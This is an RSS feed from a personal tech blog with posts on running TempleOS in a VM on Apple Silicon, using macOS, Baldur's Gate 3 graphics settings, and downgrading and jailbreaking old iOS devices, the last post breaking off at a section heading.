<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on Malware Werewolf</title><link>https://malwarewerewolf.com/posts/</link><description>Recent content in Posts on Malware Werewolf</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Sat, 17 Aug 2024 00:00:00 +0000</lastBuildDate><atom:link href="https://malwarewerewolf.com/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>TempleOS on Apple Silicon</title><link>https://malwarewerewolf.com/posts/templeos-on-apple-silicon/</link><pubDate>Sat, 17 Aug 2024 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/templeos-on-apple-silicon/</guid><description>&lt;p>TempleOS is a unique OS, it was created by one single person with no support from other developers, it has its own compiler, games and all the usual things you can find in an OS with the difference that everything is packed into a few lines of code which for things like games is just brilliant.&lt;/p>
&lt;p>The code can be viewed on &lt;a href="https://github.com/cia-foundation/TempleOS">Github&lt;/a> and like I already mention, TemplesOS is using its own compiler called &lt;strong>HolyC&lt;/strong>.&lt;/p>
&lt;p>So TempleOS can only work on x86_64 architecture, but luckily it can also work on ARM, the only thing that I couldn&amp;rsquo;t make it work was the audio, everything else is working fine.&lt;/p>
&lt;h2 id="installation">
Installation
&lt;a class="heading-link" href="#installation">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>So the installation is super simple, you just need to download &lt;a href="https://getutm.app/">UTM&lt;/a> and &lt;a href="https://www.reddit.com/r/TempleOS_Official/comments/w6xwu2/templeos_mac_m1_pro_virtual_machine/">a template&lt;/a> for UTM. Just download the ISO from the &lt;a href="https://templeos.org/">official website&lt;/a> and add it to the Drives as a &lt;strong>CD/DVD (ISO) Image&lt;/strong> and you should be able to boot inside the VM.&lt;/p>
&lt;p>Follow the instructions on screen and if you can&amp;rsquo;t use the mouse, there is an icon on the window to capture input devices which will enable the mouse. After the installation is done instead of rebooting from the VM when asked to, just shut down the VM, remove the disk image and after rebooting the VM you should see a list of options to choose the drive, select 1 which is the C drive.&lt;/p>
&lt;h2 id="qemu">
QEMU
&lt;a class="heading-link" href="#qemu">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>I managed to get TempleOS working with QEMU alone, but it was having some issues when resizing the screen or using a bigger resolution. I thought that it was a problem due to the fact that TempleOS has been created to work on a 640x480 resolution, but then I tried &lt;a href="https://github.com/Zeal-Operating-System/ZealOS">ZealOS&lt;/a> which is a fork of TempleOS but with some extra features one of them include support for bigger resolutions. But this wasn&amp;rsquo;t working either and it turned out that in order to change the resolution depending on the Bootloader you are using, you can either update it in the boot menu (this by using Limine) or if you want to choose the painful way, you can update the resolution by recompiling the whole kernel.&lt;/p>
&lt;p>For anyone interested, for TempleOS I used this commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">qemu-system-x86_64 -m 512M -device virtio-vga -drive file&lt;span style="color:#f92672">=&lt;/span>data.qcow2 -cdrom TempleOS.ISO -boot order&lt;span style="color:#f92672">=&lt;/span>c,menu&lt;span style="color:#f92672">=&lt;/span>on
&lt;/code>&lt;/pre>&lt;/div>&lt;p>And for ZealOS I used:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">qemu-system-x86_64 -accel tcg -display cocoa -machine q35,kernel_irqchip&lt;span style="color:#f92672">=&lt;/span>off -cdrom ZealOS.iso -hda ZealOS.qcow2 -m 2G -smp &lt;span style="color:#ae81ff">32&lt;/span> -rtc base&lt;span style="color:#f92672">=&lt;/span>localtime -nic user,model&lt;span style="color:#f92672">=&lt;/span>pcnet -vga std
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>I will keep exploring more this OS since I am relearning C/C++, so this only way at the moment to use these kind of OSs is by creating a VM with UTM, since QEMU alone doesn&amp;rsquo;t really work or it requires more tinkering and since the OS was built just to work on the x86_64 architecture, it is expected to find some problems like the missing audio.&lt;/p></description></item><item><title>My experience with macOS after 3 years of usage</title><link>https://malwarewerewolf.com/posts/my-experience-with-macos-after-3-years-of-usage/</link><pubDate>Tue, 07 May 2024 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/my-experience-with-macos-after-3-years-of-usage/</guid><description>&lt;p>I&amp;rsquo;ve never been a &lt;strong>macOS&lt;/strong> user before, but after so many years working with Windows, I felt that it was the perfect time to try something different, especially considering the birth of the new &lt;strong>Apple Silicon&lt;/strong> chips and the death of Intel on mac devices which brought new things to the operating system. Some things I really love about &lt;strong>macOS&lt;/strong> but some others I can&amp;rsquo;t really tolerate.&lt;/p>
&lt;h2 id="coding">
Coding
&lt;a class="heading-link" href="#coding">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Starting off with Coding, macbooks are just one of the best if not the best laptops out there. You will never hear the fan spinning not even a single time unless for some super heavy tasks like rendering, the battery will last forever (expect if you start using it as a workstation), good build quality and speakers, customizable terminal that make you feel like you are on a Linux OS (expect you are not and we will talk about the other aspects later).&lt;/p>
&lt;p>And it doesn&amp;rsquo;t stop there, you can type in terminal &lt;code>xcode-select --install&lt;/code> and it will install Clang, GCC and Git and you can also have package managers like &lt;strong>Homebrew&lt;/strong> or &lt;strong>Macports&lt;/strong> which work like a package manager on Linux and let you install every tool you need without opening the browser &lt;code>brew install --cask firefox&lt;/code>&lt;/p>
&lt;p>So for stuff like Web Development, you are in good hands, but the problems start to rise when you are coding desktop applications. I recently started my journey to learn 3D Programming and I was utterly shocked when I found out that not only OpenGL has been terribly deprecated, but the support for 3D graphics on mac has been shifted to a new API called Metal, which wouldn&amp;rsquo;t be too bad, if only for the fact that there is almost no documentation available (at least not comparable to OpenGL) and you are basically forced to use &lt;strong>Swift&lt;/strong> which again wouldn&amp;rsquo;t be too bad if only you didn&amp;rsquo;t have to use &lt;strong>XCode&lt;/strong>.&lt;/p>
&lt;p>&lt;strong>XCode&lt;/strong> has a notorious fame for being a terrible IDE: buggy, no extensions, no good auto completion, awful UI, weird shortcuts. About the UI, it&amp;rsquo;s probably because I am used to an IDE like Visual Studio or Jetbrains Rider, but working on something so different in every aspect just doesn&amp;rsquo;t make coding a nice and good experience. An IDE is supposed to give you all the tools to code fast and efficiently, not wasting time understanding how a UI it&amp;rsquo;s working without providing support for extensions.&lt;/p>
&lt;p>For C++ luckily you are not forced to use XCode, in fact you can either opt for &lt;strong>CLion&lt;/strong> or &lt;strong>Qt Creator&lt;/strong> or you can be like me and hurt yourself and configure the debugger and a bunch of other stuff in &lt;strong>VSCode&lt;/strong> which will help you at the same time to learn other stuff like &lt;strong>make&lt;/strong>, &lt;strong>GCC&lt;/strong>, &lt;strong>CLang&lt;/strong> which you would never learn if you press a button to Run or Debug your code.&lt;/p>
&lt;h2 id="macos-is-missing-some-parts">
macOS is missing some parts
&lt;a class="heading-link" href="#macos-is-missing-some-parts">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>I will never understand why in macOS you have to install so many tools to be able to even use correctly an operating system. Some of the tools I have installed:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://alt-tab-macos.netlify.app/">AltTab&lt;/a> the &lt;code>CMD + Tab&lt;/code> of macOS is not the same &lt;code>ALT + TAB&lt;/code> on Windows, if you have more windows opened for the same process, you can&amp;rsquo;t switch between them. This tool fixes these problems and add couple of other features.&lt;/li>
&lt;li>&lt;a href="https://rectangleapp.com/">Rectangle&lt;/a> another thing that macOS is really bad at is the window management, I guess this was designed to be used with a trackpad and the gestures but it feels so incovenient and not very productive. This tool again fixes these problems and allows you to have resizable windows like on another operating system. If the new versions of macOS will start having window tiling.&lt;/li>
&lt;li>&lt;a href="https://www.raycast.com/">Raycast&lt;/a> it seems that there is a pattern where some things are good but others are not that great. macOS is using something called &lt;strong>Spotlight&lt;/strong> which works by pressing &lt;code>CMD + Spacebar&lt;/code> and you can do bunch of stuff like using the calculator, open programs, files which wouldn&amp;rsquo;t be bad if only it wasn&amp;rsquo;t limited in what it does and slow indexing the queries you enter to search for files or folders. This tool not only improves this aspect, but it also adds plugins and it is highly customizable.&lt;/li>
&lt;li>&lt;a href="https://iterm2.com/">iTerm&lt;/a> but wait why did I praise before the macOS terminal and now I am suggesting a third party terminal ? It&amp;rsquo;s because the default version is missing lot of features like clickable links, a better search, autocomplete and many &lt;a href="https://iterm2.com/features.html">other features&lt;/a>.&lt;/li>
&lt;li>Any other web browser that is not Safari, which is terrible for web development and it manages tabs in a weird way compared to Chrome or Firefox, and it doesn&amp;rsquo;t have the same amount of extensions. Still great if you want to save some battery, since it uses less RAM than Firefox and Chrome.&lt;/li>
&lt;/ul>
&lt;p>I have installed other tools but they are not essentially required but some worth to mention are:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.keka.io/en/">Keka&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/exelban/stats">Stats&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/dwarvesf/hidden">Hidden Bar&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>I think that if an OS force you to install too many tools to be productive or improve its functionality, it&amp;rsquo;s not a good thing since the OS should be designed to offer you only the essentional tools to do your job and then install only the stuff you really need. At least macOS does not have the same amount of bloatware compared to Windows.&lt;/p>
&lt;h2 id="dockbar">
Dockbar
&lt;a class="heading-link" href="#dockbar">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>I don&amp;rsquo;t really understand why Apple designed the Dockbar this way but it is very different unlike the Windows taskbar. Programs can only be closed if you right click on the icon and select quit, which is super annoying. Navigating through this Dockbar also feels unpractical, it&amp;rsquo;s 10 times faster pressing &lt;code>CMD + Tab&lt;/code> to switch windows. So what I did was simply resizing the Dockbar to be very small, and put it at the edge of my macbook screen so I can stop using it completely. Oh and by the way, if you want to completely close an application it&amp;rsquo;s also faster pressing &lt;code>CMD + Q&lt;/code>.&lt;/p>
&lt;h2 id="gaming">
Gaming
&lt;a class="heading-link" href="#gaming">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>This is kinda of a mix, macs are not designed to be gaming machines, but with the recent models, there is been some huge improvements on this side. We got many games ported to macOS like Resident Evil Village, Resident Evil 4, Death Stranding, No Man&amp;rsquo;s Sky and yet it is still not much in terms of options you can get but luckily &lt;a href="https://www.codeweavers.com/crossover">Crossover&lt;/a> is rocking hard providing more support for triple A games and for more legacy stuff there is &lt;a href="https://www.parallels.com/">Parallels&lt;/a>. So unless you want to play the most recent triple A titles, you are very well covered and as long as you buy a macbook with a fan.&lt;/p>
&lt;p>Which bring us to another debate that Apple created, which is the 8GB of RAM being more than enough for most people. This is simply false because unless you send emails or watch videos on Netflix, you can&amp;rsquo;t simply use a laptop or any device with just 8GB of RAM in 2024. You will run out of RAM very fast considering that nowadays many applications are RAM eaters, like Chrome which is not even a game.&lt;/p>
&lt;h2 id="sip">
SIP
&lt;a class="heading-link" href="#sip">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>SIP (System Integrity Protection) should never be disabled, if you have an app which tells you to disable it, get another app or find another workaround. I don&amp;rsquo;t remember the list of things that can go wrong if you disable it but just to list a few I have found:&lt;/p>
&lt;ul>
&lt;li>you become more vulnerable to malwares&lt;/li>
&lt;li>if an app doesn&amp;rsquo;t have access to some parts of the system, now it has access to:
&lt;ul>
&lt;li>/System&lt;/li>
&lt;li>/usr&lt;/li>
&lt;li>/bin&lt;/li>
&lt;li>/sbin&lt;/li>
&lt;li>/var&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Apple Pay will not work as long as SIP is disabled&lt;/li>
&lt;li>some other apps will also stop working&lt;/li>
&lt;/ul>
&lt;h2 id="emulation-is-just-perfect">
Emulation is just perfect
&lt;a class="heading-link" href="#emulation-is-just-perfect">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>I&amp;rsquo;ve never had a better experience with emulation in my life before, in terms of gaming you have plenty of emulators which can easily run demanding titles without even overeating the hardware and Parallels just works easily out of the box with the least amount of effort to get stuff working. But now it seems that VMWare could be a good alternative, which on macOS is also free.&lt;/p>
&lt;h2 id="linux-is-there-but-not-completely">
Linux is there but not completely
&lt;a class="heading-link" href="#linux-is-there-but-not-completely">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>The &lt;strong>Asahi&lt;/strong> team did a pretty good job in collaboration with the &lt;strong>Fedora Project&lt;/strong> to improve the OS and deliver US a better experience on Linux ARM as &lt;a href="https://asahilinux.org/2024/01/fedora-asahi-new/">mentioned here&lt;/a>, but unfortunately, there are drivers that are still not fully working and it is true that it is already usable but it still has some problems related to speakers, battery draining fast, external monitor not working with macbooks that don&amp;rsquo;t have an HDMI port which don&amp;rsquo;t really make me switch from macOS at the moment.&lt;/p>
&lt;h2 id="get-at-least-a-pro-model">
Get at least a pro model
&lt;a class="heading-link" href="#get-at-least-a-pro-model">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>I got a macbook pro 13 before Apple stopped shipping them and I gotta say it is a great laptop, but you don&amp;rsquo;t have the necessary ports like HDMI, so you guessed it, spend other bucks buying adapters! So I am saying get at least a pro so you don&amp;rsquo;t have to become mad with this, but one adapter I can recommend is Anker which turned out to be really good.&lt;/p>
&lt;p>In Europe the situation is not great, since to get a macbook pro you have to spend now at least 2k euros with no warranty included and with just 8GB of RAM and 512GB of storage which is ridiculous. You want a long term laptop ? Get at least 16GB of RAM and 512GB of SSD, otherwise you&amp;rsquo;re just wasting your money.&lt;/p>
&lt;h2 id="adapters-hell">
Adapters hell!
&lt;a class="heading-link" href="#adapters-hell">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>This is not just macbooks, it&amp;rsquo;s also the same for other models like Dell XPS, I have tons of USBs and cables that are using USB-A, why removing all these ports ? Some of these adapters have given tons of problems, like screen flickering and other components failure. One thing for sure, if you have to get an adapter, get a premium one, I had to switch between 3 different adapters to finally get one that it&amp;rsquo;s working good. I can recommend the Anker one, which costs around 60 euros.&lt;/p>
&lt;h2 id="battery">
Battery
&lt;a class="heading-link" href="#battery">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>It is true that the battery will last for many many hours, but as soon as you connect an Adapter and you start using the macbook more as a workstation, the battery will last around 3-4 hours depending on the usage. So in terms of battery, I don&amp;rsquo;t think it&amp;rsquo;s really better than other laptops on this side, you probably want discharge the battery once in a while but keep the macbook plugged in so you don&amp;rsquo;t increase the cycle counts too quickly, especially for heavy tasks.&lt;/p>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>macOS is a great OS but if you are used to Windows, you&amp;rsquo;ll find many weird things, but once you get used to them, you start liking them. Can&amp;rsquo;t recommend another laptop unless you can avoid paying the fee to have Windows already installed and put Linux on it. It&amp;rsquo;s for me to come back to Windows since macOS improved my productivity, I&amp;rsquo;m still sticking to Windows because of my work laptop and because I do .NET development, but unless you need to create WPF apps, you don&amp;rsquo;t need Windows to do any new .NET development since everything is multi platform and open source.&lt;/p></description></item><item><title>Understanding some graphics settings in BG3</title><link>https://malwarewerewolf.com/posts/understanding-some-graphics-settings-in-bg3/</link><pubDate>Fri, 06 Oct 2023 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/understanding-some-graphics-settings-in-bg3/</guid><description>&lt;p>I recently came around a video on YouTube which was showing a benchmark with Baldur&amp;rsquo;s Gate 3 on macOS, the problem with the video is that some settings were not used correctly and for this, game performances were actually worse than they would have been with the right settings.&lt;/p>
&lt;p>Many people are using these settings without first understanding what they do and it&amp;rsquo;s not entirely their fault even though the game already provides a short explanation, it&amp;rsquo;s not very intuitive and easy to understand.&lt;/p>
&lt;h2 id="what-is-amd-fsr-and-how-does-it-improve-my-fps-in-game-">
What is AMD FSR and how does it improve my fps in game ?
&lt;a class="heading-link" href="#what-is-amd-fsr-and-how-does-it-improve-my-fps-in-game-">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Let&amp;rsquo;s take a screen from Baldur&amp;rsquo;s Gate 3 settings menu where we can see a quick explanation for what it is used for:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/howDoesAmdFsrWorkInANutshell/bg3AmdFsrSettings.png" alt="&amp;ldquo;bg3AmdFsrSettings&amp;rdquo;">&lt;/p>
&lt;p>It mentions something about an upscaling to get better framerates at a lower resolution, so in other words, you can still play the game at &lt;strong>1080p&lt;/strong>, but since it is doing an upscaling, you may not see the image as good as it would have been on a native resolution with the &lt;strong>AMD FSR&lt;/strong> turned off. The point is to improve performance by trading image quality for more FPS, but you sacrifice less image quality than if you scale with a simpler algorithm. So while it is still a trade-off, FSR makes it a smaller trade-off than it would normally be.&lt;/p>
&lt;p>This is a really powerful tool because without it, very demanding games would not be playable with some graphics cards, like the integrated one for the Apple M1. A little overview how performances look like with the AMD FSR turned on:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/howDoesAmdFsrWorkInANutshell/fpsAmdFsrTurnedOn.png" alt="&amp;ldquo;fpsAmdFsrTurnedOn&amp;rdquo;">&lt;/p>
&lt;p>Depending on the models and the environment to render on screen, it can be higher or stabilize around 30 fps but overall for the base Apple M1 chip it&amp;rsquo;s playable.&lt;/p>
&lt;p>But what happens if you turn it off ? Well things get even worse:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/howDoesAmdFsrWorkInANutshell/fpsAmdFsrTurnedOff.png" alt="&amp;ldquo;fpsAmdFsrTurnedOff&amp;rdquo;">&lt;/p>
&lt;p>By the way how do you activate that small window to measure fps in the game ? On macOS just open the terminal and paste the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">/bin/launchctl setenv MTL_HUD_ENABLED 1
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Replace 1 with 0 to disable it, if the game is already running, you have to close the game and then reopen it to see the windows appearing or disappearing. On Windows you can use the Steam FPS Counter (if you bought the game on Steam of course) or MSI Afterburner.&lt;/p>
&lt;h2 id="double-and-triple-buffering-for-vsync">
Double and Triple buffering for vsync
&lt;a class="heading-link" href="#double-and-triple-buffering-for-vsync">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>So we talked about the &lt;strong>AMD FSR&lt;/strong> but I also want to talk a bit about the &lt;strong>vsync buffering&lt;/strong>, unless you have more RAM you&amp;rsquo;re not really going to notice any differences but in a nutshell, with double buffering the GPU waits for the most recently rendered frame to get displayed before beginning work on the next frame. With triple buffering, the GPU starts working on the next frame after that in the third buffer and if that new frame completes first, that frame gets displayed next and the other frame in-between gets discarded.&lt;/p>
&lt;p>Which one is better is a personal preference. Double buffer for the steadiest FPS, triple buffer for the faster response rate. Some people prefer steady movement, others prefer the fastest response speed. Personally I chose to completely disable vsync so I can get a stable 30 fps.&lt;/p>
&lt;h2 id="anti-aliasing">
Anti-aliasing
&lt;a class="heading-link" href="#anti-aliasing">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Like I said some settings are explained when you select them in the video settings menu, but they are not very easy to understand, I didn&amp;rsquo;t really know why my game looked like a set of stairs:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/howDoesAmdFsrWorkInANutshell/antiAliasingNotActive.png" alt="&amp;ldquo;antiAliasingNotActive&amp;rdquo;">&lt;/p>
&lt;p>After many attempts, I found out for some reason, when the &lt;strong>AMD FSR&lt;/strong> is turned on and you change the &lt;strong>Anti-aliasing&lt;/strong> and you reboot the game, the latter just goes back to off. It&amp;rsquo;s very important to have this feature turned on &lt;strong>TAA&lt;/strong> because without it, when the pixels are rendered instead of looking like a curve, they look like a set of stairs instead.&lt;/p>
&lt;p>Why do the pixels look like this when rendered ? The main reason is because the computer screen or output device is made up of a large number of pixels. Each pixel is rectangular in shape. When it comes to making lines that curve or are rounded, the rectangles cause jagged edges. The &lt;strong>Anti-aliasing&lt;/strong> aims to solve this problem, by making these rendered rectangular pixels to look more like smooth curves instead. So when set to &lt;strong>TAA&lt;/strong> it looks much better than before:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/howDoesAmdFsrWorkInANutshell/antiAliasingActive.png" alt="&amp;ldquo;antiAliasingActive&amp;rdquo;">&lt;/p>
&lt;h2 id="so-is-bg3-really-playable-on-apple-m1-or-some-other-low-hardware-">
So is BG3 really playable on Apple M1 or some other low hardware ?
&lt;a class="heading-link" href="#so-is-bg3-really-playable-on-apple-m1-or-some-other-low-hardware-">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Well yes but you have to disable some settings like dynamic crowds or shadows sacrifing a bit some performance to get stable 30 fps. You could easily reach 40 fps but that would mean make the GPU to worker harder and since the hardware itself is not capable to go over than 40 fps with BG3, you should definetely lock the fps to 30 to avoid using more resources.&lt;/p></description></item><item><title>Downgrade and jailbreak from iOS 9 to 8.4.1</title><link>https://malwarewerewolf.com/posts/downgrade-and-jailbreak-from-ios-9-to-8.4.1/</link><pubDate>Wed, 19 Apr 2023 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/downgrade-and-jailbreak-from-ios-9-to-8.4.1/</guid><description>&lt;p>Downgrading a legacy iOS device can be tricky but luckily for us, there are two different methods we can use. We&amp;rsquo;ll first explore a method which doesn&amp;rsquo;t require a computer and it can be done directly on the iOS device. Then we&amp;rsquo;ll see how to downgrade using a script called &lt;a href="https://github.com/LukeZGD/Legacy-iOS-Kit">Legacy-iOS-Kit&lt;/a>, I then &lt;a href="https://github.com/MalwareWerewolf/Legacy-iOS-Kit">forked the repo&lt;/a> to do some changes specifically for macOS to use the latest bash version from &lt;a href="https://brew.sh/">homebrew&lt;/a>.&lt;/p>
&lt;p>It&amp;rsquo;s recommended to do a &lt;strong>backup&lt;/strong> first to avoid losing all the data you have stored. If you are on Windows, you will need &lt;a href="https://www.apple.com/itunes/">iTunes&lt;/a> to restore iOS.&lt;/p>
&lt;h2 id="supported-devices">
Supported devices
&lt;a class="heading-link" href="#supported-devices">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>32 bit devices are supported for both methods:&lt;/p>
&lt;ul>
&lt;li>iPhone 4S&lt;/li>
&lt;li>iPhone 5&lt;/li>
&lt;li>iPad 2, iPad 3, iPad 4&lt;/li>
&lt;li>iPad mini 1&lt;/li>
&lt;li>iPod touch 5&lt;/li>
&lt;/ul>
&lt;h2 id="why-the-downgrade-">
Why the downgrade ?
&lt;a class="heading-link" href="#why-the-downgrade-">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>We&amp;rsquo;re specifically targeting an older iOS version which received a untethered jailbreak, which is a persistent jailbreak that doesn&amp;rsquo;t require to jailbreak the device another time after rebooting. Unfortunately the iOS versions 9.3.5 and 9.3.6 only have a semi-tethered jailbreak (so after each reboot you will have to jailbreak again), but we can still use it to downgrade iOS.&lt;/p>
&lt;h2 id="how-do-i-go-back-if-anything-goes-wrong-">
How do I go back if anything goes wrong ?
&lt;a class="heading-link" href="#how-do-i-go-back-if-anything-goes-wrong-">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Unfortunately if your device is stucked in a &lt;strong>bootloop&lt;/strong> or it can&amp;rsquo;t boot into iOS, the only way to fix it is to restore iOS through &lt;strong>iTunes&lt;/strong>. So let&amp;rsquo;s say you managed to downgrade from iOS &lt;strong>9.3.6&lt;/strong> to &lt;strong>8.4.1&lt;/strong> but something went wrong when installing the jailbreak, in this case when restoring through &lt;strong>iTunes&lt;/strong>, you will go back to iOS &lt;strong>9.3.6&lt;/strong>. This is because the last two signed &lt;strong>IPSW&lt;/strong> by &lt;strong>Apple&lt;/strong> are &lt;strong>9.3.5&lt;/strong> and &lt;strong>9.3.6&lt;/strong> so it&amp;rsquo;s not possible to restore to &lt;strong>8.4.1&lt;/strong> because the latter is not signed. If you ever need the &lt;strong>IPSW&lt;/strong> (a file format used to install iOS firmware) of a specific version, you can use &lt;a href="https://ipsw.me/">IPSW Downloads&lt;/a>.&lt;/p>
&lt;p>Depending on your device, entering into recovering mode might be different, for instance on the iPad (the one with the home button) you just need to keep pressing the home and power button at the same time until it tells you to connect the device to iTunes. For any doubt you can check the &lt;a href="https://support.apple.com/en-us/HT201263">Apple documentation&lt;/a> to restore and enter into recovery mode.&lt;/p>
&lt;p>As an alternative to iTunes, if you managed to jailbreak your device and you have Cydia installed, you can use a tweak called &lt;a href="https://cydia.saurik.com/package/com.saurik.impactor/">Cydia Eraser&lt;/a> which resets iOS to its original state before the jailbreak without updating iOS. This assumes you are able to boot into your system of course.&lt;/p>
&lt;h2 id="to-sideload-or-not-to-sideload">
To sideload or not to sideload
&lt;a class="heading-link" href="#to-sideload-or-not-to-sideload">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>&lt;strong>Sideloading&lt;/strong> allows you to install applications on your device without using the &lt;strong>appstore&lt;/strong>, it&amp;rsquo;s relatively an easy process, you just need &lt;a href="https://sideloadly.io/">Sideloadly&lt;/a> and preferably a separate &lt;strong>Apple account&lt;/strong> with a free developer subscription just to sideload.&lt;/p>
&lt;p>So we need to sideload an application to jailbreak our device but there&amp;rsquo;s also another way which doesn&amp;rsquo;t require &lt;a href="https://sideloadly.io/">Sideloadly&lt;/a>. A website named &lt;a href="https://jailbreaks.app/legacy.html">jailbreaks.app&lt;/a> has some links which allow you to directly install the application you&amp;rsquo;re insterested in, directly on your iOS device when they are opened through a browser.&lt;/p>
&lt;p>This is something that will come in handy later when we&amp;rsquo;ll need to fully jailbreak the device with &lt;a href="https://dora2ios.web.app/daibutsu.html">Daibutsu&lt;/a>, the IPA you download through the official website needs to be signed first, so if the process is not done correctly, you will be stucked in a bootloop. Instead if you install Daibutsu through &lt;a href="https://jailbreaks.app/legacy.html">jailbreaks.app&lt;/a>, the IPA is already signed so you won&amp;rsquo;t get any issue when jailbreaking.&lt;/p>
&lt;p>The semi-tethered and untethered jailbreaks can both be installed through &lt;a href="https://jailbreaks.app/legacy.html">jailbreaks.app&lt;/a>, so Sideloadly is not needed since the applications will be installed directly on the device.&lt;/p>
&lt;h2 id="is-daibutsu-the-only-untethered-jailbreak-available-">
Is Daibutsu the only untethered jailbreak available ?
&lt;a class="heading-link" href="#is-daibutsu-the-only-untethered-jailbreak-available-">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Technically there are other jailbreaks that can be used:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://etasonjb.tihmstar.net/">Etasonjb&lt;/a> is quite unstable, there&amp;rsquo;s a tweak that needs to be installed to fix some bugs. For instance when rebooting your device, you will need to jailbreak again unless you install the tweak I was mentioning. I also ran into an issue where iOS wasn&amp;rsquo;t loading the tweaks in the settings app, Cydia and the other tweaks I already installed were usable for the most part, but you couldn&amp;rsquo;t change any of their settings. I was able to fix it but then after rebooting, the tweaks were not showing again so I had to restore the iPad and try &lt;a href="https://dora2ios.web.app/daibutsu.html">Daibutsu&lt;/a>. The tweak can be installed by adding this repo to Cydia and looking for &lt;code>Etason untether&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">http://repo.tihmstar.net/
&lt;/code>&lt;/pre>&lt;/div>&lt;/li>
&lt;li>
&lt;p>Although &lt;a href="https://www.theiphonewiki.com/wiki/Home_Depot">Home Depot&lt;/a> is a &lt;strong>semi-tethered&lt;/strong> jailbreak, you can still apply a untethered jailbreak by using the &lt;code>Etason untether&lt;/code> tweak in the &lt;strong>tihmstar&lt;/strong> repo. You might stumble on &lt;a href="https://lukezgd.github.io/repo">Lukezgd&amp;rsquo;s repo&lt;/a> which contains a tweak named &lt;code>UntetherHomeDepot&lt;/code>, avoid installing it! First it is not made for iOS 8.4.1 and second as mentioned on the &lt;a href="https://lukezgd.github.io/">Home Depot wiki&lt;/a>, it can bootloop your device so if you&amp;rsquo;re afraid of bootloops do not install it!&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>On the other hand &lt;a href="https://dora2ios.web.app/daibutsu.html">Daibutsu&lt;/a> doesn&amp;rsquo;t require any extra tweaks to make it work, unless you decide to pick the hard way and sign the IPA manually which as I already mentioned if not done correctly can bootloop your device.&lt;/p>
&lt;h2 id="downgrade-first-method---update-systemversionplist-no-computer-required">
